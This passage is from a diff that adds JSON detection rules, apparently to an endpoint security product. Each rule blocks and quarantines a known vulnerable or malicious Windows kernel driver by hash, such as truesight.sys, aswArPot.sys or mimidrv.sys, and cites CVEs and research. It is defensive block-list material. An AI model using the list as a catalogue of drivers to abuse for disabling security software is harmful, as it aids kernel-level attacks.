+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152831Z",
+  "creation_date": "2026-03-23T11:45:31.152834Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48c7215dacce2bed9465430c8bf805418e02a4da4435014ffdc75d4a5c07a496",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58c85a4e-9092-53fd-949a-f88bc337233c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969186Z",
+  "creation_date": "2026-03-23T11:45:29.969188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ad0ab23023bc500c3b46f414a8b363c5f8700861bc4745cecc14dd34bcee9ed",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58ceb588-18c5-5b69-9dce-dcc370ac1c79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818056Z",
+  "creation_date": "2026-03-23T11:45:31.818059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e84f600c3ef63442368ea7dc9df85168c04d573ea765153a9cbf18e41dfc20f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58de1f8a-8e66-54d8-a340-7d04fa47cb24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604428Z",
+  "creation_date": "2026-03-23T11:45:29.604430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "425406152227f499013a6c3fbcf7700d98351a30e7813a30f0003f48eceb08ec",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58f31ee9-16a9-58e1-b2db-0365085fd091",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822131Z",
+  "creation_date": "2026-03-23T11:45:30.822133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87279855c17e3924ebfa07f51c1312d0e107f990f4ae174807ac4814da6179ac",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58fa725a-515e-58a5-a344-d8d9dfa82b9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984209Z",
+  "creation_date": "2026-03-23T11:45:29.984211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9",
+  "comment": "Vulnerable Kernel Driver (aka AsrOmgDrv.sys) [https://www.loldrivers.io/drivers/3f39af20-802a-4909-a5de-7f6fe7aab350/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59071458-e0c8-54b9-b018-7f25f9004667",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606488Z",
+  "creation_date": "2026-03-23T11:45:29.606490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57ecd1bb823cb213dc801950a3495d14359694e52cadbad51e78f0acaae2b98a",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "590a02c0-510a-5e5e-ab1d-c56790e4452f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979359Z",
+  "creation_date": "2026-03-23T11:45:29.979361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32882949ea084434a376451ff8364243a50485a3b4af2f2240bb5f20c164543d",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5911a81c-9aef-5b11-91e7-c7409719e707",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832407Z",
+  "creation_date": "2026-03-23T11:45:30.832409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832414Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16192d98b68513c3d62c313feb5eeace472439dea92fd0aca326f162eeffae5a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "591b5214-159e-5624-8cdc-aded219f4db8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972090Z",
+  "creation_date": "2026-03-23T11:45:29.972092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cff9aa9046bdfd781d34f607d901a431a51bb7e5f48f4f681cc743b2cdedc98c",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5920aa1b-4245-55af-8d34-a88972d9c090",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816962Z",
+  "creation_date": "2026-03-23T11:45:30.816964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c03433ea3376f6f099ad77a4ce59187817d1bc0c3c0f55fd931320d909dd920",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "592228c1-9408-5faa-9fd2-a8fa4cfc129f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974034Z",
+  "creation_date": "2026-03-23T11:45:29.974036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3eff841ea0f2786e5e0fed2744c0829719ad711fc9258eeaf81ed65a52a8918",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5933d707-bd6c-55b4-9959-a9f7ae2bf77f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159792Z",
+  "creation_date": "2026-03-23T11:45:31.159794Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05814beffff44b7713387f5595ba2f9a749e81d693a90e3c4e2af5f78cf049d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5946badf-e989-571f-b024-7eb249a810c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471047Z",
+  "creation_date": "2026-03-23T11:45:30.471051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3327d9e938d4ae29de110e219662ce04932935a7886e99feb508ffe77c9e00c2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "594740a1-1bcd-5246-8840-5e6d28a1c045",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484902Z",
+  "creation_date": "2026-03-23T11:45:31.484905Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf652a6b20838d070f818f75a052a8194243cd0d25b047250905d6f8699f2c9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59557248-f290-5621-bfeb-c548b67fe336",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821771Z",
+  "creation_date": "2026-03-23T11:45:31.821774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821783Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d2edb6e885dbbce00b2d8ce9cbfd41eebd8f31c791ca6399a85d72b7acf09a0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "595d949a-9edc-5c72-afa4-d8feaf6a0018",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968775Z",
+  "creation_date": "2026-03-23T11:45:29.968777Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968782Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fba53fa5825b568ce775e78bf2325f5444d2cad9ca96cb1b949de201c5186faf",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59684753-7d7d-5170-944b-c2e3b6c906fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829954Z",
+  "creation_date": "2026-03-23T11:45:31.829958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7626db66e81a226e9d8093e02bd762c8bd06197f26fd500430231fb0d992708",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "596d22ed-6126-54f4-8101-93f3d7e60dcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150841Z",
+  "creation_date": "2026-03-23T11:45:31.150843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4d4b10032367ccfb43fd3a31c7fe20b21a0e858071a9e287afcb6530a6e85af",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "596fac43-c0f6-55a3-a44b-91dae0c09bb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145503Z",
+  "creation_date": "2026-03-23T11:45:31.145505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab7b7cc9a42eed6c9e35eab55a8b9d49afabce8018f921f51506b16e52c56648",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "597bac2f-afcc-5ec3-81d9-fff27a6a4919",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147131Z",
+  "creation_date": "2026-03-23T11:45:32.147134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47ec51b5f0ede1e70bd66f3f0152f9eb536d534565dbb7fcc3a05f542dbe4428",
+  "comment": "Vulnerable Kernel Driver (aka BdApiUtil64.sys) [https://blog.talosintelligence.com/byovd-loader-deadlock-ransomware/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5983dee3-180d-5e4b-88f9-150acc679834",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146600Z",
+  "creation_date": "2026-03-23T11:45:31.146602Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c71c2d36e4ec7e5a99dfa343cd02da07c21ac95fe013f16ab12e653d5bc29d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5998d8fd-a0e1-57e3-953e-8a17f7a4dc58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495337Z",
+  "creation_date": "2026-03-23T11:45:31.495340Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495349Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
